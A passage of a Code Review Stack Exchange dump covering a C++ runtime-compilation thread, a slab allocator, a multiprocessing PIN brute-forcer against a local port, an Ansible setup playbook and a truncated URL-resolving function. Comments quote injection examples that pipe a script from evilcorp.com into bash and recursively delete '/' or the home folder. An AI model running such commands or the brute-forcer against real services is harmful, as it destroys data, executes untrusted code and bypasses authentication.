"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T19:13:05.260",
"Id": "489838",
"Score": "0",
"body": "The \"unnecessary\" member variables are there as options, to avoid making constructors which take way too many args. `close` and `removeSo` exist because they are needed in case of recompilation (which maybe should be dropped), but the destructor is already present and using them. Input sanitation is clearly a good point. Note that one could also inject `std::filesystem::remove_all(\"/\");` (which would still fail due to permissions), although I was thinking about this for a desktop application so that would make very little sense."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T20:09:59.620",
"Id": "489840",
"Score": "1",
"body": "One could also call `std::filesystem::remove_all(getenv(HOME))`, or `system(\"curl evilcorp.com/nefarious_payload.sh | bash\")`. There's a lot of harmful things one can also do without needing root access."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T16:18:49.943",
"Id": "489950",
"Score": "0",
"body": "You can also open a terminal and type that. Again this was not supposing for a server-client environment. On a second thought that is easily circumvented: just let the user fill some data structure then the function is produced based on that. For instance one can replace dynamic polymorphism with a higher-performance no-pointer version."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T18:50:46.590",
"Id": "249800",
"ParentId": "249796",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T16:36:40.797",
"Id": "249796",
"Score": "2",
"Tags": [
"c++",
"linux"
],
"Title": "Compile a string into a callable object in C++: a simple JIT based on system, dlopen and dlsym"
}
|
249796
|
<p>I'm trying to implment memory allocator guided by <a href="http://dmitrysoshnikov.com/compilers/writing-a-memory-allocator" rel="nofollow noreferrer">this tutorial</a>. I used a mix of Next-fit search and Segregated-list search.<br>
There are multiple slabs of different sizes (a slab is contagious blocks of memory of the same size, plus a header). If a slab ran out of free blocks, it allocates a new slab of the same size and link it to the current slab. free blocks are tracked using a bitmap in the header of each slab.</p>
<ul>
<li><p>How is my design in terms of memory & speed?</p>
</li>
<li><p>Is there any way to determine which slab to free a block from, without knowing the size ? the current approach is to ask all the slabs to free the block, the one who owns that block will free it.</p>
</li>
<li><p>What's the best way to deal with big sizes of memory (bigger than ones of slabs)</p>
</li>
<li><p>How can I write some unit tests to this? it's hard to figure whether the address returned is valid or not.
<br><br>
<strong>malloc.cpp</strong></p>
<pre><code> #include "slab_allocator.h"
const size_t PAGE_SIZE = 0x1000;
static Slab<0x010, PAGE_SIZE> slab_0x10;
static Slab<0x020, PAGE_SIZE> slab_0x20;
static Slab<0x040, PAGE_SIZE> slab_0x40;
static Slab<0x060, PAGE_SIZE> slab_0x60;
static Slab<0x100, PAGE_SIZE> slab_0x100;
static Slab<0x200, PAGE_SIZE> slab_0x200;
static Slab<0x300, PAGE_SIZE> slab_0x300;
void init() {
slab_0x10.init();
slab_0x20.init();
slab_0x40.init();
slab_0x60.init();
slab_0x100.init();
slab_0x200.init();
slab_0x300.init();
}
void* custom_malloc(size_t size) {
if (size < 0x10) {
return slab_0x10.alloc();
} else if (size < 0x20) {
return slab_0x10.alloc();
} else if (size < 0x40) {
return slab_0x40.alloc();
} else if (size < 0x60) {
return slab_0x60.alloc();
} else if (size < 0x100) {
return slab_0x100.alloc();
} else if (size < 0x200) {
return slab_0x200.alloc();
} else if (size < 0x500) {
return slab_0x300.alloc();
} else {
return nullptr;
}
}
void custom_free(void* address) {
slab_0x10.free(address);
slab_0x20.free(address);
slab_0x40.free(address);
slab_0x60.free(address);
slab_0x100.free(address);
slab_0x200.free(address);
slab_0x300.free(address);
}
</code></pre>
</li>
</ul>
<p><strong>slab_allocator.h:</strong></p>
<pre><code> #pragma once
#include "bitmap.h"
#include <cstdint>
#include <Windows.h>
template<size_t slab_size, size_t memory_size> class Slab;
template<size_t slab_size, size_t memory_size, size_t max_blocks = memory_size / slab_size> struct SlabHeader {
Slab<slab_size, memory_size>* prev, * next;
Bitmap<max_blocks> mem_map;
size_t free_blocks;
size_t next_fit_block;
};
template<size_t slab_size, size_t memory_size> class Slab {
private:
const static size_t MAX_HEADER_SIZE = sizeof(SlabHeader<slab_size, memory_size>);
const static size_t MAX_BLOCKS = (memory_size - MAX_HEADER_SIZE) / slab_size;
static_assert(memory_size > MAX_HEADER_SIZE);
static_assert((slab_size + MAX_HEADER_SIZE) <= memory_size);
SlabHeader<slab_size, memory_size, MAX_BLOCKS> header;
char blocks[MAX_BLOCKS][slab_size];
bool is_address_in_slab(void* address);
void* alloc_in_current_slab(size_t block_index);
void* alloc_in_new_slab();
void free_from_current_slab(size_t block_index);
void free_from_next_slab(void* address);
void* request_memory_from_os(size_t size);
void free_memory_to_os(void* addrss, size_t size);
public:
void init(Slab* prev = nullptr);
void* alloc();
void free(void* address);
};
template<size_t slab_size, size_t memory_size>
void Slab<slab_size, memory_size>::init(Slab* prev) {
header.prev = prev;
header.next = nullptr;
header.free_blocks = MAX_BLOCKS;
header.next_fit_block = 0;
header.mem_map.init();
}
template<size_t slab_size, size_t memory_size>
void* Slab<slab_size, memory_size>::alloc() {
size_t block_index = -1;
if (header.free_blocks &&
((block_index = header.mem_map.find_unused(header.next_fit_block)) != BITMAP_NO_BITS_LEFT)) {
return alloc_in_current_slab(block_index);
} else {
return alloc_in_new_slab();
}
}
template<size_t slab_size, size_t memory_size>
void Slab<slab_size, memory_size>::free(void* address) {
if (is_address_in_slab(address) == false) {
return free_from_next_slab(address);
}
size_t block_index = (uintptr_t(address) - uintptr_t(blocks)) / slab_size;
assert(header.mem_map.check_used(block_index));
free_from_current_slab(block_index);
}
template<size_t slab_size, size_t memory_size>
bool Slab<slab_size, memory_size>::is_address_in_slab(void* address) {
if ((address >= blocks) && (address <= &blocks[MAX_BLOCKS - 1][slab_size - 1])) {
return true;
} else {
return false;
}
}
template<size_t slab_size, size_t memory_size>
void* Slab<slab_size, memory_size>::alloc_in_new_slab() {
Slab* new_slab = static_cast<Slab*>(request_memory_from_os(sizeof(Slab)));
if (!new_slab) {
return nullptr;
}
new_slab->init(this);
header.next = new_slab;
return new_slab->alloc();
}
template<size_t slab_size, size_t memory_size>
void* Slab<slab_size, memory_size>::alloc_in_current_slab(size_t block_index) {
header.mem_map.set_used(block_index);
header.next_fit_block = (block_index + 1) % MAX_BLOCKS;
header.free_blocks--;
return static_cast<void*>(blocks[block_index]);
}
template<size_t slab_size, size_t memory_size>
void Slab<slab_size, memory_size>::free_from_current_slab(size_t block_index) {
header.mem_map.set_unused(block_index);
header.next_fit_block = block_index;
header.free_blocks++;
if ((header.free_blocks == 0) && (header.prev)) {
//slab is empty, and it's not the first;
header.prev->header.next = nullptr;
free_memory_to_os(this, sizeof(Slab));
//The slab committed suicide, don't ever use it again!
}
}
template<size_t slab_size, size_t memory_size>
void Slab<slab_size, memory_size>::free_from_next_slab(void* address) {
if (header.next) {//if there is another slab in the list check on it too.
header.next->free(address);
return;
} else {
//address doesn't belong any slab.
return;
}
}
template<size_t slab_size, size_t memory_size>
void* Slab<slab_size, memory_size>::request_memory_from_os(size_t size) {
//system dependent function, returns aligned memory region.
return VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE);
}
template<size_t slab_size, size_t memory_size>
void Slab<slab_size, memory_size>::free_memory_to_os(void* addrss, size_t size) {
//system dependent function, returns aligned memory region.
VirtualFree(addrss, size, MEM_FREE);
}
</code></pre>
<p><strong>Bitmap.h</strong> (not really important)</p>
<pre><code> #pragma once
#include <cstdint>
#include <assert.h>
#include <cstring>
#define CHECK_BIT(value, bit) ((value >> bit) & 1)
#define BITMAP_NO_BITS_LEFT 0xFFFFFFFF
template <size_t SIZE> class Bitmap {
private:
uint8_t m_bitmap_data[SIZE];
public:
void init();
void set_used(unsigned position);
void set_unused(unsigned position);
unsigned find_unused(unsigned search_start = 0);
unsigned find_used(unsigned search_start = 0);
bool check_used(unsigned position);
bool check_unused(unsigned position);
};
template <size_t SIZE> void Bitmap<SIZE>::init() {
memset(m_bitmap_data, 0, sizeof(m_bitmap_data));
}
template <size_t SIZE> void Bitmap<SIZE>::set_used(unsigned position) {
assert(position < SIZE);
m_bitmap_data[position / 8] |= (1 << (position % 8));
}
template <size_t SIZE> void Bitmap<SIZE>::set_unused(unsigned position) {
assert(position < SIZE);
m_bitmap_data[position / 8] &= ~(1 << (position % 8));
}
template <size_t SIZE> unsigned Bitmap<SIZE>::find_unused(unsigned search_start) {
assert(search_start < SIZE);
size_t bit_index = search_start;
while (bit_index < SIZE) {
if (m_bitmap_data[bit_index / 8] == 0xFF) {
bit_index += 8;
continue;
}
if (!CHECK_BIT(m_bitmap_data[bit_index / 8], bit_index % 8))
return bit_index;
bit_index++;
}
return BITMAP_NO_BITS_LEFT;
}
template <size_t SIZE> unsigned Bitmap<SIZE>::find_used(unsigned search_start) {
assert(search_start < SIZE);
size_t bit_index = search_start;
while (bit_index < SIZE) {
if (m_bitmap_data[bit_index / 8] == 0) {
bit_index += 8;
continue;
}
if (CHECK_BIT(m_bitmap_data[bit_index / 8], bit_index % 8))
return bit_index;
bit_index++;
}
return BITMAP_NO_BITS_LEFT;
}
template <size_t SIZE> bool Bitmap<SIZE>::check_used(unsigned position) {
return CHECK_BIT(m_bitmap_data[position / 8], position % 8);
}
template <size_t SIZE> bool Bitmap<SIZE>::check_unused(unsigned position) {
return !CHECK_BIT(m_bitmap_data[position / 8], position % 8);
}
</code></pre>
|
[] |
[
{
"body": "<h1>Answers to your questions</h1>\n<blockquote>\n<p>How is my design in terms of memory & speed?</p>\n</blockquote>\n<p>That's easy: measure it! Create some workload that allocates and frees memory, and time how long it takes. There are also operating system functions that can tell you how much memory your program is using, for example <a href=\"https://man7.org/linux/man-pages/man2/getrusage.2.html\" rel=\"nofollow noreferrer\"><code>getrusage()</code></a> on Linux. Have two versions, one using your slab allocator, and another using regular <code>malloc()/free()</code>, <code>new/delete</code>, or whatever way you have to get memory from the operating system, and check the difference in performance.</p>\n<blockquote>\n<p>Is there any way to determine which slab to free a block from, without knowing the size ? the current approach is to ask all the slabs to free the block, the one who owns that block will free it.</p>\n</blockquote>\n<p>One way is to have a little header allocated right before the memory region returned by <code>alloc()</code>, and store some metadata in that header, such as the pointer to the slab allocator object itself. Another option is to ensure slabs are always naturally aligned in memory, so you can quickly get a pointer to the start of the slab, regardless of where in the slab the allocation came from.</p>\n<p>But often, the caller of <code>custom_free()</code> will actually know the size of the object it is freeing. So it makes sense to add a size parameter to <code>custom_free()</code>, so it can do the same thing you do in <code>custom_malloc()</code> to find the right slab object to free from.</p>\n<blockquote>\n<p>What's the best way to deal with big sizes of memory (bigger than ones of slabs)</p>\n</blockquote>\n<p>Then you just fall back to a regular <code>malloc()</code> or <code>new</code>.</p>\n<blockquote>\n<p>How can I write some unit tests to this? it's hard to figure whether the address returned is valid or not.</p>\n</blockquote>\n<p>One possibility is to just write to the allocated memory in the unit test, and then compile the unit tests with the <a href=\"https://en.wikipedia.org/wiki/AddressSanitizer\" rel=\"nofollow noreferrer\">AddressSanitizer</a> enabled. Alternatively, run the unit test inside <a href=\"https://valgrind.org/\" rel=\"nofollow noreferrer\">Valgrind</a> to catch writes to invalid addresses.</p>\n<h1>Use <code>uint64_t</code> for the bitmap array</h1>\n<p>Unless you are specifically writing this code to run on an 8-bit microcontroller, I suggest you use <code>uint64_t</code> for the bitmap array. The reason is that computers nowadays have 64-bit registers, and operations on 64-bits at a time are as fast or sometimes even faster than on 8-bits at a time.</p>\n<h1>Use hardware instructions to find the first set bit in a bitmap</h1>\n<p>Most processors have instructions to find the first set bit in an integer. This is perfect for use in <code>Bitmap::find_used()</code>. In C++20, you will be able to use <a href=\"https://en.cppreference.com/w/cpp/numeric/countl_zero\" rel=\"nofollow noreferrer\"><code>std::countl_zero()</code></a> and related functions to access that functionality, but if you cannot use C++20 yet, then you might have platform-specific functions such as <a href=\"https://man7.org/linux/man-pages/man3/ffs.3.html\" rel=\"nofollow noreferrer\"><code>ffs()</code></a> or compiler builtins such as GCC's <a href=\"https://gcc.gnu.org/onlinedocs/gcc/Other-Builtins.html\" rel=\"nofollow noreferrer\"><code>__builtin_clz()</code></a> to do the same.</p>\n<h1>Write proper constructors for your classes</h1>\n<p>You should not have an <code>init()</code> function in your classes, but a proper constructor that performs the initialization. That avoids the possibility that you accidentily forget to call the initializer, or call it twice.</p>\n<h1>Write a destructor for <code>class Slab</code></h1>\n<p>You should write a destructor that cleans up any remaining memory that is in use by a slab when it is destroyed.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T20:18:40.767",
"Id": "489841",
"Score": "0",
"body": "Thanks for the tips. I forgot to mention that this allocator will be part of a hobby operating system I'm working on, so I can't have constructor because I will need `new` to call it which I'm trying to implement in the first place, and I can't assume it will be called if the `Slab` is a global object since nothing will run before the kernel. I can't use `new` & `malloc` for a size bigger than slab's sizes too."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T20:18:44.213",
"Id": "489842",
"Score": "0",
"body": "And about getting the pointer of the slab by the address of the block, is it safe (well defined behaviour) to assume that the class will be like a structure and the first address of the of the aligned region will be the address of the first data member of the class ?. \n `But often, the caller of custom_free() will actually know the size of the object it is freeing` by looking at `delete` operator or `free` of C library, they don't provide the size."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T20:48:05.030",
"Id": "489844",
"Score": "0",
"body": "Unless there's inheritance involved, the pointer to the class will be the same as a pointer to the first member. As for `delete` and `free` not providing a size: no, because `free()` doesn't allow it, but [`delete`](https://en.cppreference.com/w/cpp/memory/new/operator_delete) does since C++17. But that's a generic allocator. You wouldn't normally use a slab allocator to do generic allocations, but rather to handle many allocations of identically sized objects, so then you would know the size at deallocation time."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T21:05:16.250",
"Id": "489845",
"Score": "0",
"body": "If I implement a way to find the correct slab just from the address, will it be appropriate for generic allocations ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T21:11:37.533",
"Id": "489846",
"Score": "1",
"body": "That is hard to say. It really depends on the memory usage pattern of your application. But if you say \"generic allocations\", then you should know that the algorithm used by `malloc()` and `new` is heavily optimized for generic use, so in that case your slab allocator will probably not show any benefit, even if you have a fast way of determining the slab from just an address."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T18:28:22.483",
"Id": "249798",
"ParentId": "249797",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249798",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T16:57:08.103",
"Id": "249797",
"Score": "4",
"Tags": [
"c++",
"memory-management",
"template-meta-programming"
],
"Title": "slab malloc/free implementation"
}
|
249797
|
<p>My program brute-forces a password. The password is a string composed of a key and a four digit numeric code. The key is known so we are basically brute-forcing between 0000 through to 9999</p>
<p>An example password is:<br />
<code>UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 4143</code></p>
<p>I updated that script I wrote to take advantage of multiprocessing in order to run faster.
The basic idea is to divide the task by the number of CPUs available.
There are two Events set up:</p>
<ul>
<li><code>prnt_sig_found</code> is used by subprocesses to tell the parent if they succeed in guessing the right password.</li>
<li>The parent process then uses <code>child_sig_term</code> to halt each subprocesses</li>
</ul>
<p>My Python's rusty and I think I made some bad choices. It would be useful to have my assumptions invalidated. :)</p>
<pre><code>#!/usr/bin/env python
# coding: utf-8
import multiprocessing as mp
import socket
import time
import math
import sys
import os
class Connection:
def __init__(self, pin = 0, max_iter = 10000, sock = None):
print('initizializing socket instance ...')
self.pin = pin
self.max_iter = max_iter
self.password = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def p_name(self):
return mp.current_process().name
def connect(self, host='127.0.0.1', port=30002):
print(self.p_name(), 'connecting ...', host, port)
self.sock.connect((host, port))
print(self.p_name(), 'connection successful.')
def write(self, msg):
print(self.p_name(), 'sending', msg)
self.sock.sendall(msg)
def read(self):
print(self.p_name(), 'reading data ...')
data = self.sock.recv(4096)
return data
def close(self):
try:
self.sock.shutdown(0)
self.sock.close()
except:
pass
def execute(self, child_sig_term, prnt_sig_found):
start_time = time.time()
print(self.p_name(), 'executing ...')
self.connect()
welcome_str = self.read()
print(welcome_str)
while self.pin < self.max_iter:
if child_sig_term.is_set():
break
pin_str = str(self.pin).zfill(4)
message = self.password + " " + pin_str + "\n" # add newline char to flush message or it doesn't get sent
self.write(message.encode())
received_msg = self.read()
if 'Wrong' in received_msg:
print(self.p_name(), 'Wrong guess %s', pin_str)
else:
print('_________________found_____________', received_msg)
prnt_sig_found.set()
break
self.pin += 1
time.sleep(0.5)
end_time = time.time()
total_time = end_time - start_time
print(self.p_name(), "start: "+str(self.pin), ' end: '+str(self.max_iter), 'total_time: ', str((total_time)/60) + ' minutes')
def main():
print('main')
connections = []
processes = []
# requires read/write access to /dev/shm
prnt_sig_found = mp.Event()
child_sig_term = mp.Event()
MAX_ITER_COUNT = 10000
processor_count = mp.cpu_count()
step_count = int(math.floor(MAX_ITER_COUNT / processor_count)) # math.floor returns a float in python 2
end = step_count
start = 0
print('Initial values ->', processor_count, step_count, start, end)
try:
for i in range(processor_count):
conn = Connection(pin = start, max_iter = end)
proc_name = 'BF[ ' + str(start) + ' - ' + str(end) + ' ]'
process = mp.Process(name=proc_name, target=conn.execute, args=(child_sig_term, prnt_sig_found))
process.daemon = True
connections.append(conn)
processes.append(process)
start = end + 1
end += start + step_count
# ensure start and end don't exceed max
if MAX_ITER_COUNT < end : end = MAX_ITER_COUNT
if MAX_ITER_COUNT < start: start = MAX_ITER_COUNT
# start all processes
for process in processes:
process.start()
# wait for all processes to finish
# block the main program until these processes are finished
for process in processes:
process.join()
prnt_sig_found.wait()
child_sig_term.set()
except:
pass
finally:
for conn in connections:
conn.close()
for process in processes:
if process.is_alive():
process.terminate()
if __name__ == '__main__':
main()
</code></pre>
|
[] |
[
{
"body": "<h1>Use process pools</h1>\n<p>The <code>multiprocessing</code> module already has functions to create a <a href=\"https://docs.python.org/3/library/multiprocessing.html#module-multiprocessing.pool\" rel=\"nofollow noreferrer\">process pool</a>, so you don't have to implement that yourself. There are functions to have it automatically start a number of tasks in one go. For example, using the <code>map()</code> function, you can enqueue a task for every possible 4-digit combination:</p>\n<pre><code>pool = mp.Pool();\npool.map(try_combination, range(10000))\n</code></pre>\n<p>This will have the worker threads run the <code>try_combination()</code> function on all values between 0 and 9999. In your case, you might want to avoid creating a single connection for each combination, so you should make it so that you don't enqueue a task for each combination, but rather have each task try many combinations. Have a look at the documentation of <code>multiprocessing.pool</code> to find out what is possible.</p>\n<p>Using <code>multiprocessing.pool</code> should allow you to remove most of the code in <code>main()</code>.</p>\n<h1>Stop other processes when you found the right combination</h1>\n<p>Your code spawns multiple processes, which each try out a range of combinations. You then wait for all of them to finish. But on average, you will find the right combination after only trying half the combinations, so you will be twice as efficient if you stop processing once you find the right combination. That means that instead of waiting for all of them to finish, you should wait for the first one to finish, check if it has found the combination, and if so stop the other processes.</p>\n<p>With <code>multiprocessing.pool</code> you can do this using <code>map_async()</code> and <code>terminate()</code>.</p>\n<h1>Remove most of the <code>print()</code> statements</h1>\n<p>I'm sure they were useful while creating the code, to see what it is doing and to debug any problems. But now that it is working, you should remove these statements. In the end, you are not interested in what is going on, just in the end result. Also don't print the amount of time it took, you can use external tools like the <a href=\"https://linux.die.net/man/1/time\" rel=\"nofollow noreferrer\"><code>time</code></a> command to measure how long your program took to run.</p>\n<h1>Consider replacing <code>class Connection</code> with a single function</h1>\n<p>You wrote a <code>class</code> to make a connection and try various combinations, but the only thing you ever do is construct it and call <code>execute()</code> once. A single function would be enough here.</p>\n<p>Also, after removing the unnecessary <code>print()</code> statements, I see that most member functions are just a single statement. Instead of writing that member function and call it inside <code>execute()</code>, you could have written that statement directly inside <code>execute()</code>. So, move all other member functions and the constructor into <code>execute()</code>, move it out of the <code>class</code>, and give it a better name, like <code>try_combinations()</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:10:28.340",
"Id": "489977",
"Score": "0",
"body": "About printing: Just watched someone recommend to \"[log all the things](https://www.youtube.com/watch?v=5dMOYf0b_20&t=22m56s)\". Who's right? :-)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:45:28.027",
"Id": "489982",
"Score": "2",
"body": "@superbrain I personally don't think always logging all things is great. It's very useful to debug things, which is what you need when your software isn't finished yet, but once your software has become mature, I really don't see any point in having lots of details being printed that an end user won't be interested in, which clutter the code and which might even cause performance to suffer. When you do want to log, the tips mentioned in that video (using the `logging` module etc.) are great though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T20:00:51.297",
"Id": "490540",
"Score": "0",
"body": "@G.Sliepen Super helpful feedback, made some updates to the code.\nRegarding terminating other processes upon finding the right pin, I use `prnt_sig_found.set()` to signal the parent which then terminates the other child processes.\n\nI attempted using Pools but it looks like `pool.map` will call the map function for each input. This means that each call would require a new socket connection. But with my current approach, There's only one connection attempt per process. Not sure how this will impact performance, but it does seem lime reusing connections is a good idea."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T21:18:06.907",
"Id": "249863",
"ParentId": "249803",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249863",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T19:49:23.383",
"Id": "249803",
"Score": "3",
"Tags": [
"python",
"multiprocessing",
"divide-and-conquer"
],
"Title": "Divide and Conquer Password Bruteforcer"
}
|
249803
|
<p>This is a follow-up to <a href="https://codereview.stackexchange.com/questions/249244/bash-script-to-automate-dev-environment-setup">Bash script to automate dev environment setup</a>.</p>
<p>In that question I'd thrown together a (sloppy) shell script to automatically setup my development environment. One of the answers suggested using Ansible and after a bit of reading realized it would help me with some configuration of remote servers as well so I decided to give it a go.</p>
<p>Below is playbook that sets up my dev environment the same way as the original bash script but hopefully a bit cleaner. I'm planning on using Ansible to setup a new CI/CD pipeline in a reproducible way as a replacement for the github -> dockerhub -> manual deployment so this is really testing the waters with Ansible before moving on to that.</p>
<p>Right now it all I need to do is clone the repo the two files are in and then run bootstrap.sh and everything gets set up from there.</p>
<p>Any/all pointers appreciated!</p>
<p>bootstrap.sh:</p>
<pre><code>sudo apt update && sudo apt -y upgrade
sudo apt install -y ansible
mv AnsibleDevEnv/setup.yml ~/
ansible-playbook setup.yml
. .bash_profile
</code></pre>
<p>And then the Ansible playbook setup.yml:</p>
<pre><code>---
- name: Dev Setup
hosts: localhost
vars:
folders:
- go
- python
- js
- pemKeys
downloads:
url:
- https://deb.nodesource.com/setup_14.x
- https://repo.anaconda.com/archive/Anaconda3-2020.02-Linux-x86_64.sh
- https://storage.googleapis.com/golang/getgo/installer_linux
sudo_files:
- setup_14.x
- Anaconda3-2020.02-Linux-x86_64.sh
user_files:
- installer_linux
keys:
- https://packages.microsoft.com/keys/microsoft.asc
- https://download.docker.com/linux/debian/gpg
repos:
- deb [trusted=yes arch=amd64] https://download.docker.com/linux/debian {{ docker_version.stdout }} stable
- deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main
packages:
- apt-transport-https
- ca-certificates
- gnupg2
- software-properties-common
- libgl1-mesa-glx
- libegl1-mesa
- libxrandr2
- libxrandr2
- libxss1
- libxcursor1
- libxcomposite1
- libasound2
- libxi6
- libxtst6
- libpq-dev
- python3-dev
- python3-pip
- protobuf-compiler
- apt-transport-https
- code
- nodejs
- postgresql-11
- docker-ce
node_lib:
- react
- react-scripts
- react-dom
go_get:
- go get github.com/lib/pq
- export
- GO111MODULE=on go get github.com/golang/protobuf/protoc-gen-go
- GO111MODULE=on go get -u google.golang.org/grpc
pip:
- psycopg2
git_config:
name:
- user.name
- user.email
- color.ui
value:
- cmelgreen
- cmelgreen@gmail.com
- true
tasks:
- name: make folders
file:
path: './{{ item }}'
mode: 0755
state: directory
with_items: '{{ folders }}'
- name: install rpm
apt:
name: rpm
state: latest
update_cache: yes
become: yes
- name: add keys
apt_key:
state: present
url: '{{ item }}'
with_items: '{{ keys }}'
become: yes
- name: save docker version to variable
shell: lsb_release -cs
register: docker_version
- name: add repositories
apt_repository:
repo: '{{ item }}'
state: present
with_items: '{{ repos }}'
become: yes
- name: download files
get_url:
url: '{{ item }}'
dest: .
mode: +x
with_items: '{{ downloads.url }}'
- name: run as root downloads
command: './{{ item }}'
with_items: '{{ downloads.sudo_files }}'
become: yes
- name: run as user downloads
command: './{{ item }}'
with_items: '{{ downloads.user_files }}'
- name: add source ./.bashrc to .bash_profile
lineinfile:
path: ./.bash_profile
line: 'source ./.bashrc'
- name: install packages
apt:
name: '{{ packages }}'
state: latest
update_cache: yes
become: yes
- name: set docker permissions
file:
path: /var/run/docker.sock
mode: 0666
become: yes
- name: install react
npm:
name: '{{ item }}'
global: yes
state: latest
with_items: '{{ node_lib }}'
become: yes
- name: go get some libraries
shell: '. ~/.bash_profile && {{ item }}'
args:
executable: /bin/bash
with_items: '{{ go_get }}'
- name: pip some stuff conda has a hard time with
pip:
name: '{{ pip }}'
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T18:14:12.240",
"Id": "490529",
"Score": "1",
"body": "You could add [`vagant`](https://www.vagrantup.com/) to your toolkit which you can use to spin up an environment (i.e. virtual machine, AWS EC2 instance, ..) and [provision the instance directly with your new `ansible-playbook`](https://www.vagrantup.com/docs/provisioning/ansible) then it's just up [`vagrant up`](https://www.vagrantup.com/docs/cli/up) to get your reproducible environments and [`vagrant destroy`](https://www.vagrantup.com/docs/cli/destroy) to tear them down when you're done."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T18:51:45.287",
"Id": "490533",
"Score": "0",
"body": "Would that work on a local machine? I'm literally working on Jenkins configuration as code right now so I can deploy the build servers with full automation using Terraform that's another Hashicorp system but the above is for my local envrionment. There's not a away round at least a short bootstrap bash script is there, even with vagrant? Like something needs to be installed first. Because I play semi-loose with my environment and test things out that occasionally break it all so it's easier to just nuke and rebuild while I grab a coffee"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T18:57:37.447",
"Id": "490534",
"Score": "1",
"body": "The end goal of everything being you could wipe everything but my GitHub account and aws credentials and with one or to commands spin up everything from scratch"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T19:00:17.260",
"Id": "490535",
"Score": "1",
"body": "Yes, is made for it. I used to use `vagrant` + `virtualbox` locally for running and provisioning a VM using `ansible-playbooks` then when I was happy with the deployment specs I'd use the same `ansible-playbooks` to provision AWS EC2 instances (slightly different because I build AMI's on schedule using `packer` for production). Is basically a CLI for managing VM's with their own config and provisioner hooks. There also exists a [shell provisioner](https://www.vagrantup.com/docs/provisioning/shell) for executing shell commands after the machine is created and before the `ansible-playbook` run."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T19:09:11.537",
"Id": "490536",
"Score": "1",
"body": "Using `vagrant` you can bring it down to a single command for provisioning the dev environment (`vagrant up`: will create a VM, execute shell commands then run `ansible-playbook`'s) then purge it with `vagrant destroy` when you're done with it. [I have an example project](https://github.com/masseybradley/playground) (albeit a little outdated) to bootstrap 3 VM's using `vagrant` then install `docker` and configure \n `docker swarm` using an `ansible-playbook`. Nowadays irl I'd suggest all the things in `docker`! \\o/"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T19:16:18.583",
"Id": "490537",
"Score": "1",
"body": "If you're deploying to AWS (or developing in AWS) there exists a [`vagrant-aws`](https://github.com/mitchellh/vagrant-aws) plugin."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T21:43:52.057",
"Id": "249807",
"Score": "2",
"Tags": [
"bash",
"linux",
"ansible"
],
"Title": "Ansible to automate dev environment setup"
}
|
249807
|
<p>The config file for my project takes many files and directories. It would be convenient if these files and directories could reference git repositories, zip archives, possibly over https. This function converts those URLs to paths on the disk, so the rest of the project still only deals with <code>Path</code>s on disk.</p>
<p>Did I handle the sub-schemes according to the <a href="https://en.wikipedia.org/wiki/Principle_of_least_astonishment" rel="nofollow noreferrer">Principle of Least Astonishment</a>? I haven't seen many other programs that do this (except for <a href="https://pip.pypa.io/en/stable/reference/pip_install/#vcs-support" rel="nofollow noreferrer">Pip with VCS URLs</a>).</p>
<p>Is there any unnecessary repetition that you see?</p>
<pre class="lang-py prettyprint-override"><code>async def pathify(
url_str: str,
base: Path,
cache_path: Path,
should_exist: bool,
should_dir: bool,
session: Optional[aiohttp.ClientSession] = None,
) -> Path:
"""Takes a URL, copies it to disk (if not already there), and returns a local path to it.
Args:
url_str (str): the URL in question
base (Path): the base path for resolving relative file paths
cache_path (Path): the location where this fn will put objects
should_exist (bool): ensure that the file exists or raise ValueError (applicable to the file: scheme)
should_dir (bool): expect the url to point to a directory, otherwise a file, and raise ValueError if that expectation is violated
session (Optional[aiohttp.ClientSession]): aiohttp session to be used if URLs are http/https
Returns:
Path: a path to the resource on the local disk. Do not modify the file at this path.
Supported schemes:
- `http:` and `https:`
- Does not support sub-schemes.
- Caller must pass a aiohttp session.
- Result is cached
- Returns files (not directories)
- `zip:`
- Requires a sub-scheme (e.g. `zip+file:///path/to/archive.zip`)
- Calls `unzip` on the file returned by the sub-scheme
- Result is cached
- Returns directories
- `git:`
